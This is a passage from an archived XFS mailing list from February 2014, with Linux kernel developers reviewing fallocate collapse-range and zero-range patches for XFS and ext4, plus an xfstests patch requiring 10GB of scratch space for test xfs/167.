Multi collapse range tests > xfstest: shared/004: Delayed allocation multi collapse > xfstest: shared/005: Test multiple fallocate collapse These are now in the xfstests git tree. > manpage: update FALLOC_FL_COLLAPSE_RANGE flag in fallocate And Michael will need to review and commit that to the kernel manpages tree. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Feb 23 19:07:43 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E7B0E7F50 for ; Sun, 23 Feb 2014 19:07:43 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id D836E8F8037 for ; Sun, 23 Feb 2014 17:07:43 -0800 (PST) X-ASG-Debug-ID: 1393204058-04cb6c6de0731740001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id oivEc7Epzp0UTPk6 for ; Sun, 23 Feb 2014 17:07:38 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AskOAPCaClN5LJYe/2dsb2JhbABZgwY7gwilcgOSaYVTgQwXdIIlAQEFOhwjEAgDDgoJJQ8FJQMhE4gEDsYdFxaOTgeEOASYM4EziR+HVoNBKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Feb 2014 11:37:16 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WHk0o-0004As-BY; Mon, 24 Feb 2014 12:07:14 +1100 Date: Mon, 24 Feb 2014 12:07:14 +1100 From: Dave Chinner To: Lukas Czerner Cc: linux-ext4@vger.kernel.org, tytso@mit.edu, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate Message-ID: <20140224010714.GI4317@dastard> X-ASG-Orig-Subj: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate References: <1392649703-10772-1-git-send-email-lczerner@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1392649703-10772-1-git-send-email-lczerner@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393204058 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145443 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Feb 17, 2014 at 04:08:17PM +0100, Lukas Czerner wrote: > Introduce new FALLOC_FL_ZERO_RANGE flag for fallocate. This has the same > functionality as xfs ioctl XFS_IOC_ZERO_RANGE. > > It can be used to convert a range of file to zeros preferably without > issuing data IO. Blocks should be preallocated for the regions that span > holes in the file, and the entire range is preferable converted to > unwritten extents - even though file system may choose to zero out the > extent or do whatever which will result in reading zeros from the range > while the range remains allocated for the file. > > This can be also used to preallocate blocks past EOF in the same way as > with fallocate. Flag FALLOC_FL_KEEP_SIZE which should cause the inode > size to remain the same. > > You can test this feature yourself using xfstests, of fallocate(1) however > you'll need patches for util_linux, xfsprogs and xfstests which you > can find here: > > http://people.redhat.com/lczerner/zero_range/ > > I'll post the patches after we agree and merge the kernel functionality. Lukas, can you post the xfstests and xfs_io changes so that they can be reviewed? Once I can verify the behaviour is the same as XFS_IOC_ZERO_RANGE, I'm ahppy to commit the VFS and XFS kernel changes along with the xfsprogs and xfstests changes like I've just done for the FALLOC_FL_COLLAPSE_RANGE changes. I'd like to get all the changes to the VFS into the XFS tree so that you can handle the ext4 integration of the two pieces of functionilty as you and Ted see fit.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From linkinjeon@gmail.com Sun Feb 23 19:12:40 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3B5707F50 for ; Sun, 23 Feb 2014 19:12:40 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 00F3E304043 for ; Sun, 23 Feb 2014 17:12:36 -0800 (PST) X-ASG-Debug-ID: 1393204354-04bdf00fc9319740001-NocioJ Received: from mail-qg0-f42.google.com (mail-qg0-f42.google.com [209.85.192.42]) by cuda.sgi.com with ESMTP id dK980lhqVgFQQGkA (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 23 Feb 2014 17:12:35 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.192.42 X-Barracuda-IPDD: Level1 [gmail.com/209.85.192.42] Received: by mail-qg0-f42.google.com with SMTP id q107so13205981qgd.1 for ; Sun, 23 Feb 2014 17:12:34 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.192.42] X-Barracuda-IPDD: Level1 [gmail.com/209.85.192.42] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=d3TIHNqSmCILrZxjkbBUy3EI0AgEgfYT38cqz3nckCE=; b=Ftsgn6kroduOZv6eOhOkdEk5hbljzQRBtsyXB6JgeFYwJbR9ZXPWibr00CXKndo0YX 4i2NP+wdwEWdSqRMco0kGA7dxB9gpenC36+4NvCcL/hHgOiKsf6ZWpjyxtKMWnZSKJte 2UYAfyF+p8YnpmzW33MxVRYXMS4kNjFO+SkxzXz8LlwIrHiNJVesNfkSyawdlOMV/NLe OPVUmk5jdJ2PFJ2syvn+iOOFVP6CRZrM3RydjwNbakWA7VKGyLbPYHLtO/kMpmOa3KWv ApFu4iUG+Tw4vFcYowCBVf2DcdmuZqTbfeZHrd2sAB7aUlhtrLI8nosVR0gal5Xi/uO1 uLpQ== MIME-Version: 1.0 X-Received: by 10.140.101.162 with SMTP id u31mr25388442qge.107.1393204354538; Sun, 23 Feb 2014 17:12:34 -0800 (PST) Received: by 10.96.109.102 with HTTP; Sun, 23 Feb 2014 17:12:34 -0800 (PST) In-Reply-To: <20140223212231.GD4317@dastard> References: <1392741475-20063-1-git-send-email-linkinjeon@gmail.com> <20140223212231.GD4317@dastard> Date: Mon, 24 Feb 2014 10:12:34 +0900 Message-ID: Subject: Re: [PATCH v5 2/10] xfs: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate From: Namjae Jeon X-ASG-Orig-Subj: Re: [PATCH v5 2/10] xfs: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate To: Dave Chinner Cc: viro@zeniv.linux.org.uk, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Ashish Sangwan Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-qg0-f42.google.com[209.85.192.42] X-Barracuda-Start-Time: 1393204355 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145443 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 2014-02-24 6:22 GMT+09:00, Dave Chinner : > On Wed, Feb 19, 2014 at 01:37:55AM +0900, Namjae Jeon wrote: >> From: Namjae Jeon >> >> This patch implements fallocate's FALLOC_FL_COLLAPSE_RANGE for XFS. >> >> The semantics of this flag are following: >> 1) It collapses the range lying between offset and length by removing any >> data >> blocks which are present in this range and than updates all the >> logical >> offsets of extents beyond "offset + len" to nullify the hole created >> by >> removing blocks. In short, it does not leave a hole. >> 2) It should be used exclusively. No other fallocate flag in combination. >> 3) Offset and length supplied to fallocate should be fs block size >> aligned >> in case of xfs and ext4. >> 4) Collaspe range does not work beyond i_size. >> >> Signed-off-by: Namjae Jeon >> Signed-off-by: Ashish Sangwan > ..... >> + while (!error && !done) { >> + tp = xfs_trans_alloc(mp, XFS_TRANS_DIOSTRAT); >> + tp->t_flags |= XFS_TRANS_RESERVE; > Hi Dave. > This probably shouldn't use XFS_TRANS_RESERVE. If we are at ENOSPC, > then the operation simply fails. Yes, we've already punched the > hole, so we shouldn't get ENOSPC here, but I don't think it's worth > dipping into the reserve pool as it has much more important uses... Okay. > > You don' tneed to resent the entire patch for this - I can remove it > directly myself.... Thanks very much for your help!! > > Otherwise it looks good, so consider it > > Reviewed-by: Dave Chinner > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com > From linkinjeon@gmail.com Sun Feb 23 19:22:12 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0D9607F50 for ; Sun, 23 Feb 2014 19:22:12 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id EB9138F8035 for ; Sun, 23 Feb 2014 17:22:11 -0800 (PST) X-ASG-Debug-ID: 1393204930-04cb6c06cf41d240001-NocioJ Received: from mail-qc0-f170.google.com (mail-qc0-f170.google.com [209.85.216.170]) by cuda.sgi.com with ESMTP id D7RxRuV6Xap0yO3T (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 23 Feb 2014 17:22:10 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.170 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.170] Received: by mail-qc0-f170.google.com with SMTP id c9so8129308qcz.15 for ; Sun, 23 Feb 2014 17:22:10 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.170] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.170] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=sj00hw7QCMau10S7wg/S9tWvvKmC5+LN9Z6RfpHK8GU=; b=hsk8BZsqbgp5HJ7mDle6rXPbsq9t36SG59qkkFbUhDjlzc1rHfLyZYzWaSoEeSAYmS SewlcYk5e6fhfbABtrXLcuzvr30mCCWqL1/6Ppf/UKyGvF4Ky1sFQqfxP4mikcRr92uP lVxsqX/+rupYCNl8Rdnw6sMH1YYNDBuNplPFiqgy612hdndjmT/IaM96TVfQRtHz2ejq H1el3BBQvrsdHtC8Ps2O2L2oPBtOQR+6NOThMhTy4PmP5iVKmLjQ5zSFZCZZXKrL6LIB TP6fLzqOqUmviMJrtQWUDRfbJL0QTzngB9xU+IsdN8sdObZOYr9OX2Hr/Fw0eIKdjIhr UeXg== MIME-Version: 1.0 X-Received: by 10.229.66.202 with SMTP id o10mr26551558qci.7.1393204930242; Sun, 23 Feb 2014 17:22:10 -0800 (PST) Received: by 10.96.109.102 with HTTP; Sun, 23 Feb 2014 17:22:10 -0800 (PST) In-Reply-To: <20140222170930.GE26637@thunk.org> References: <1392908861-3563-1-git-send-email-linkinjeon@gmail.com> <20140222170930.GE26637@thunk.org> Date: Mon, 24 Feb 2014 10:22:10 +0900 Message-ID: Subject: Re: [PATCH v6] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate From: Namjae Jeon X-ASG-Orig-Subj: Re: [PATCH v6] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate To: "Theodore Ts'o" Cc: Namjae Jeon , viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Ashish Sangwan Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-qc0-f170.google.com[209.85.216.170] X-Barracuda-Start-Time: 1393204930 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145444 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 2014-02-23 2:09 GMT+09:00, Theodore Ts'o : > On Fri, Feb 21, 2014 at 12:07:41AM +0900, Namjae Jeon wrote: >> From: Namjae Jeon >> >> This patch implements fallocate's FALLOC_FL_COLLAPSE_RANGE for Ext4. >> >> The semantics of this flag are following: >> 1) It collapses the range lying between offset and length by removing any >> data >> blocks which are present in this range and than updates all the >> logical >> offsets of extents beyond "offset + len" to nullify the hole created >> by >> removing blocks. In short, it does not leave a hole. >> 2) It should be used exclusively. No other fallocate flag in combination. >> 3) Offset and length supplied to fallocate should be fs block size >> aligned >> in case of xfs and ext4. >> 4) Collaspe range does not work beyond i_size. >> >> Signed-off-by: Namjae Jeon >> Signed-off-by: Ashish Sangwan >> Tested-by: Dongsu Park > > In terms of how to get this upstream, it looks like if we do something > like this, we can let this patch go via the ext4 tree and we don't > need to worry about whether the vfs level changes have gone in our > not. Okay, Dave already answered. > > diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c > index ad13359..d7a78ed 100644 > --- a/fs/ext4/extents.c > +++ b/fs/ext4/extents.c > @@ -46,6 +46,10 @@ > > #include > > +#ifndef FALLOC_FL_COLLAPSE_RANGE > +#define FALLOC_FL_COLLAPSE_RANGE 0x08 > +#endif > + > /* > * used by extent splitting. > */ > > >> + ret = ext4_es_remove_extent(inode, punch_start, >> + EXT_MAX_BLOCKS - punch_start - 1); >> + if (ret) { >> + up_write(&EXT4_I(inode)->i_data_sem); >> + goto out_stop; >> + } > > Doing this at first is probably a bad idea; you should do this at the > end, and then completely invalidate the es cache for that inode. That > way, the right thing happens if you get an error in the middle > releasing the boxes and shifting the extents: Okay, I see. > >> + >> + ret = ext4_ext_remove_space(inode, punch_start, punch_stop - 1); >> + if (ret) { >> + up_write(&EXT4_I(inode)->i_data_sem); >> + goto out_stop; >> + } >> + >> + ret = ext4_ext_shift_extents(inode, handle, punch_stop, >> + punch_stop - punch_start); >> + if (ret) { >> + up_write(&EXT4_I(inode)->i_data_sem); >> + goto out_stop; >> + } > Hi Ted. > The fact that you are doing these two as two separate steps is > dangerous; what if you've already released the blocks in > ext4_ext_remove_space(), and ext4_ext_shift_extents() fails in the > middle of the processing? That will leave the file system > inconsistent, which would be bad. If there is error in the middle of extent shifting, the hole will present between the last shifted extent and the extent at which error happen so this will be consistent state. IMHO even if there is error in between the shift, filesystem will be in consistent state. Am I missing something? > > Making sure that the right happens if there is a failure in the middle > of the operation is Really Important.... > > - Ted > From linkinjeon@gmail.com Sun Feb 23 19:34:52 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8F38F7F53 for ; Sun, 23 Feb 2014 19:34:52 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4E6C68F8035 for ; Sun, 23 Feb 2014 17:34:52 -0800 (PST) X-ASG-Debug-ID: 1393205690-04bdf00fc031a6a0001-NocioJ Received: from mail-qg0-f43.google.com (mail-qg0-f43.google.com [209.85.192.43]) by cuda.sgi.com with ESMTP id UTaseBmqWLAlwAHm (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 23 Feb 2014 17:34:50 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.192.43 X-Barracuda-IPDD: Level1 [gmail.com/209.85.192.43] Received: by mail-qg0-f43.google.com with SMTP id f51so13233137qge.2 for ; Sun, 23 Feb 2014 17:34:50 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.192.43] X-Barracuda-IPDD: Level1 [gmail.com/209.85.192.43] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=jlxUCdI/BRjCwQoQ2zAc4CPgwl43BH3Z9osoYGCOGfg=; b=rEHyKRL7tosoOBl2eTk3HrQ18FcqxYWMgZX3wuZ/AsLrLVmi+uERPYsFM8FRzaZbyH y4VHT1Dg9lJlNyfqNtHkOIZudVaaL+c4j8kDkG6ZJe5oV479+W9mEmZg8GEkodrXaS8X qmioW2cyz52OALOVLa3gfyPnaMotNVTb5bMWnkSXNx82ym4RP+ofrAB0jGRA0qfAPvKb ZKxY+IUNRr/7IJoNTeQ/M6dTlNYyjFLTDBhulYgAG4/1QRLjnvlw+hOgEIQnqPalCdM3 Ci0sNBUEwiCSN3aH0/YeOCgtg51A6egydrPV3QZs7SYiiAci8giRMGLAUPgzd+o8whpe VLqw== MIME-Version: 1.0 X-Received: by 10.140.31.9 with SMTP id e9mr17442851qge.76.1393205689988; Sun, 23 Feb 2014 17:34:49 -0800 (PST) Received: by 10.96.109.102 with HTTP; Sun, 23 Feb 2014 17:34:49 -0800 (PST) In-Reply-To: <20140224005710.GH4317@dastard> References: <1392741436-19995-1-git-send-email-linkinjeon@gmail.com> <20140224005710.GH4317@dastard> Date: Mon, 24 Feb 2014 10:34:49 +0900 Message-ID: Subject: Re: [PATCH v5 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate From: Namjae Jeon X-ASG-Orig-Subj: Re: [PATCH v5 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate To: Dave Chinner , mtk.manpages@gmail.com Cc: viro@zeniv.linux.org.uk, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-qg0-f43.google.com[209.85.192.43] X-Barracuda-Start-Time: 1393205690 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145444 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 2014-02-24 9:57 GMT+09:00, Dave Chinner : > On Wed, Feb 19, 2014 at 01:37:16AM +0900, Namjae Jeon wrote: >> From: Namjae Jeon >> >> This patch series is in response of the following post: >> http://lwn.net/Articles/556136/ >> "ext4: introduce two new ioctls" >> >> Dave chinner suggested that truncate_block_range >> (which was one of the ioctls name) should be an fallocate operation >> and not any fs specific ioctl, hence we add this functionality to >> fallocate. >> >> This patch series introduces new flag FALLOC_FL_COLLAPSE_RANGE for >> fallocate >> and implements it for XFS and Ext4. >> >> The semantics of this flag are following: >> 1) It collapses the range lying between offset and length by removing any >> data >> blocks which are present in this range and than updates all the >> logical >> offsets of extents beyond "offset + len" to nullify the hole created >> by >> removing blocks. In short, it does not leave a hole. >> 2) It should be used exclusively. No other fallocate flag in combination. >> 3) Offset and length supplied to fallocate should be fs block size >> aligned >> in case of xfs and ext4. >> 4) Collaspe range does not work beyond i_size. >> >> This new functionality of collapsing range could be used by media editing >> tools >> which does non linear editing to quickly purge and edit parts of a media >> file. >> This will immensely improve the performance of these operations. >> The limitation of fs block size aligned offsets can be easily handled >> by media codecs which are encapsulated in a conatiner as they have to >> just change the offset to next keyframe value to match the proper >> alignment. >> >> Namjae Jeon (10): >> fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate >> xfs: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate > > I've pushed these to the following branch: > > git://oss.sgi.com/xfs/xfs.git xfs-collapse-range > > And so they'll be in tomorrow's linux-next tree. Okay. > >> ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate > > I've left this one alone for the ext4 guys to sort out. I will try to follow up continously. > >> xfsprog: xfsio: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate > > That's already in a current xfstests tree. Okay. > >> xfstest: shared/001: Standard collapse range tests >> xfstest: shared/002: Delayed allocation collapse range >> xfstest: shared/003: Multi collapse range tests >> xfstest: shared/004: Delayed allocation multi collapse >> xfstest: shared/005: Test multiple fallocate collapse > > These are now in the xfstests git tree. Okay. > >> manpage: update FALLOC_FL_COLLAPSE_RANGE flag in fallocate > > And Michael will need to review and commit that to the kernel > manpages tree. Okay, Hi Micheal. Could you please review manpage patch ? Thanks :) > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com > From dave@fromorbit.com Sun Feb 23 21:06:28 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A6EE77F37 for ; Sun, 23 Feb 2014 21:06:28 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 95E868F8033 for ; Sun, 23 Feb 2014 19:06:28 -0800 (PST) X-ASG-Debug-ID: 1393211182-04cbb00c2872e3b0002-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id BS1gJmGeX4FYKQW0 for ; Sun, 23 Feb 2014 19:06:27 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnAGAP21ClN5LJYe/2dsb2JhbABZgwbDAhd0giUBAQVWMwgYMTkDGxmIBMZujwGEIgSqW4NBKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Feb 2014 13:36:21 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WHls1-0004Pw-HZ for xfs@oss.sgi.com; Mon, 24 Feb 2014 14:06:17 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WHls1-0007pI-Gc for xfs@oss.sgi.com; Mon, 24 Feb 2014 14:06:17 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 6/6] xfs/167: need at least 10GB of scratch space to run Date: Mon, 24 Feb 2014 14:06:15 +1100 X-ASG-Orig-Subj: [PATCH 6/6] xfs/167: need at least 10GB of scratch space to run Message-Id: <1393211175-30016-7-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1393211175-30016-1-git-send-email-david@fromorbit.com> References: <1393211175-30016-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393211186 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145446 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner When running on a ramdisk, the fsstress background workload consumes a GB of disk space every 5 seconds. This leads to the test failing with ENOSPC because the test file cannot be created due otthe background load cosuming it all. Hence don't run this test unless the scratch device is large enough not to hit ENOSPC conditions. Signed-off-by: Dave Chinner --- tests/xfs/167 | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/tests/xfs/167 b/tests/xfs/167 index ab0156f..875bd31 100755 --- a/tests/xfs/167 +++ b/tests/xfs/167 @@ -62,6 +62,12 @@ _require_scratch _scratch_mkfs_xfs >/dev/null 2>&1 _scratch_mount +# fast devices can consume disk space at a rate of 1GB every 5s via the +# background workload. With 50 test loops, at 1 second per loop, that means we +# need at least 10GB of disk space to ensure this test will not fail with ENOSPC +# errors. +_require_fs_space $SCRATCH_MNT 10485760 + TEST_FILE=$SCRATCH_MNT/test_file TEST_PROG=$here/src/unwritten_sync LOOPS=50 -- 1.8.4.rc3 From dave@fromorbit.com Sun Feb 23 21:06:29 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DFC5F7F58 for ; Sun, 23 Feb 2014 21:06:29 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id C72048F8033 for ; Sun, 23 Feb 2014 19:06:29 -0800 (PST) X-ASG-Debug-ID: 1393211182-04cbb00c2872e3b0003-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id a5JUHoEhjYHThqaT for ; Sun, 23 Feb 2014 19:06:28 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnAGAP21ClN5LJYe/2dsb2JhbABZgwbDAhd0giUBAQVWMwgYMTkDGxmIBMZujgx1hCIEqluDQSiBLA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Feb 2014 13:36:21 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WHls1-0004Pv-Gx for xfs@oss.sgi.com; Mon, 24 Feb 2014 14:06:17 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WHls1-0007pD-G2 for xfs@oss.sgi.com; 